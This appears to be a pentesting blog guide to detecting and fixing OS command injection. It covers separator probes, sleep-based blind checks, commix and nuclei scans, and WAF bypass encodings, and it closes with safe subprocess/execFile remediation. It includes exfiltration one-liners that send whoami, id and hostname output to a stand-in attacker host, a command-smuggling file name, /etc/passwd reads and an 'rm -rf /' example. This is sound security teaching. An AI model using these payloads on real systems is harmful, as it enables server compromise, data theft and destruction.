Command Injection Testing: OS Shell Injection Detection and Prevention

An e-commerce platform has a product image processing feature. When a product image is uploaded, the application resizes it using ImageMagick, passing the filename directly to a shell command. A security researcher uploads a file named product.jpg; curl https://attacker.com/$(whoami). The application's web server makes an outbound HTTP request to the attacker's server, and the URL path reveals the current Unix username. The feature that processes product images just became a remote shell.

OS command injection is frequently the highest-severity finding in a web application assessment. When it's exploitable, it typically means full server compromise: arbitrary code execution, credential theft, lateral movement into internal networks, and persistence. This guide covers how to find it, confirm it when it's blind, and understand what fixes actually prevent it.

How Command Injection Works

Command injection occurs when an application constructs a shell command using user-supplied input and executes it without adequately sanitizing that input. The application intends to run one command; the attacker injects additional commands using shell metacharacters that the OS interprets as command separators or modifiers.

Shell metacharacters that matter for injection:

Character Behavior Example
; Run next command regardless of previous result ls; whoami
&& Run next command only if previous succeeded ls /tmp && id
|| Run next command only if previous failed false || id
| Pipe output to next command ls | grep root
`...` Command substitution (backtick) echo `id`
$(....) Command substitution (modern syntax) echo $(id)
& Run in background cmd & injected_cmd
\n (newline) Command separator in some contexts cmd%0ainjected

Where to Look for Command Injection

The application features most likely to pass user input to shell commands:

Pay particular attention to parameters that look like filenames, hostnames, IP addresses, or numeric values — these are the inputs that developers typically assume are "safe enough" to pass to shell commands without sanitization.

Basic Detection: Injection Probes

Start with simple separator probes and look for changes in application behavior:

# Simple probes to try in any input field
; whoami
| whoami
& whoami
&& whoami
|| whoami
`whoami`
$(whoami)

# On Windows targets
; dir
| dir
& dir

After injecting each payload, look for:

If the application displays command output in the response body, that's in-band command injection and is the easiest to confirm. If there's no visible output but behavior changes, you may be dealing with blind command injection, which requires a different confirmation approach.

Blind Command Injection: Time-Based Confirmation

Most production command injection is blind — the application executes the injected command but the output isn't returned in the HTTP response. The most reliable confirmation technique is time-based injection using the sleep command:

# Unix — inject a 10-second sleep
; sleep 10
| sleep 10
&& sleep 10
|| sleep 10
`sleep 10`
$(sleep 10)

# Windows — inject a ping delay (pings 127.0.0.1 10 times = ~10 seconds)
; ping -n 10 127.0.0.1
| ping -n 10 127.0.0.1

If the HTTP response takes 10 seconds longer than baseline, the injection is working. Make sure to establish a baseline response time before testing, and test the sleep multiple times to rule out network variability. A consistent 10-second delta on sleep 10 payloads is definitive confirmation.

The risk with time-based confirmation: you're actually executing commands on the server. Use low-impact commands (sleep rather than id, dir rather than del) and document every payload executed for the pentest report.

Out-of-Band Confirmation: DNS and HTTP Callbacks

For blind injection where time-based confirmation is ambiguous (slow applications, rate limiting), out-of-band (OOB) techniques provide definitive confirmation without relying on response timing. The application executes a command that makes an outbound network connection to a server you control:

# DNS lookup (works through restrictive firewalls, shows up in DNS logs)
; nslookup $(whoami).attacker-callback.com
; nslookup `cat /etc/hostname`.attacker-callback.com
; curl https://attacker-callback.com/$(id | base64)

# HTTP callback (confirms command output exfiltration)
; wget "https://attacker-callback.com/?data=$(whoami)"
; curl "https://attacker-callback.com/?h=$(hostname)"

Use Burp Collaborator (built into Burp Suite Pro) or interactsh (the open-source alternative) as your callback server. These services log DNS queries and HTTP requests with timestamps, giving you definitive proof of execution and the ability to exfiltrate command output even when the HTTP response contains nothing useful.

OOB confirmation is increasingly important in modern application security testing because many applications are hosted behind CDNs, reverse proxies, or WAFs that modify responses in ways that obscure in-band output. The DNS callback bypasses all of that — the operating system's DNS resolver makes the query, not the application layer.

Using Commix for Automated Detection

Commix is the purpose-built tool for command injection testing, available by default on Kali Linux. It automates the detection of injection points, attempts all separator variants, handles encoding, and confirms exploitation:

# Basic scan against a URL parameter
commix --url="https://target.com/ping?host=INJECT_HERE"

# POST parameter
commix --url="https://target.com/process" --data="filename=INJECT_HERE&action=convert"

# Scan with Burp proxy for traffic inspection
commix --url="https://target.com/ping?host=test" --proxy="http://127.0.0.1:8080"

# Technique-specific testing (time-based only)
commix --url="https://target.com/ping?host=INJECT_HERE" --technique=T

# Results: opens interactive shell if injection is confirmed

Commix's interactive shell mode lets you run arbitrary commands on the target through the injection point, which makes it easy to demonstrate impact beyond the initial id or whoami output. For a penetration test, demonstrating that you can read /etc/passwd, list environment variables, or make outbound connections provides clear evidence of the severity.

Nuclei Templates for Command Injection

Nuclei includes templates specifically for known command injection CVEs and generic detection patterns:

# Run command injection templates
nuclei -u https://target.com -tags rce,command-injection

# Generic injection probes with OOB
nuclei -u https://target.com -tags rce -interactsh-server https://oast.me

Nuclei's OOB integration with interactsh makes it particularly effective for detecting blind injection — the templates automatically configure DNS callbacks and report any confirmed callbacks in the results.

Encoding and Bypass Techniques

When a WAF or input filter is blocking basic payloads, try encoding variants:

# URL encoding
;%20whoami
%3B%20whoami
%7Cwhoami

# Shell variable substitution (splits blocked strings)
IFS=,;cmd=who,ami;$cmd
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

# Base64 encoding the command
echo d2hvYW1p | base64 -d | sh    # "whoami" base64-encoded

# Heredoc (avoids spaces in some contexts)
cat<<EOF
/etc/passwd
EOF

The $IFS technique is particularly useful for WAFs that block spaces — in bash, $IFS (Internal Field Separator) defaults to space/tab/newline, so cat$IFS/etc/passwd is equivalent to cat /etc/passwd without using a space character.

Remediation: The Only Correct Fix

The correct fix for command injection is to not invoke shell commands with user input. Use language-native libraries instead:

When you genuinely must invoke a shell command with user input (a rare legitimate requirement), use parameterized execution — pass arguments as an array rather than a string:

# Python — UNSAFE (user input in string, shell=True)
subprocess.run(f"convert {filename} output.png", shell=True)

# Python — SAFE (user input as array element, shell=False)
subprocess.run(["convert", filename, "output.png"], shell=False)

# Node.js — UNSAFE
exec(`convert ${filename} output.png`)

# Node.js — SAFE
execFile("convert", [filename, "output.png"])

With shell=False in Python or execFile in Node.js, the user input becomes a single argument to the program — it cannot be interpreted as shell syntax because the shell is never invoked. The filename product.jpg; rm -rf / becomes a literal filename passed to ImageMagick, not a shell injection.

Additional defense-in-depth measures:

Documenting the Finding

A command injection finding should include:

Command injection is one of the few vulnerability classes where a single finding can result in a full critical infrastructure compromise. Document it accordingly — and escalate it immediately during an engagement rather than waiting for the final report.

Ironimo tests for command injection using the same techniques professional pentesters use — separator variants, time-based blind detection, and OOB callback confirmation. When a finding is confirmed, you get the exact request, the injection payload, and the evidence of execution, with no ambiguity about whether the finding is a false positive.

Start free scan
← Back to Blog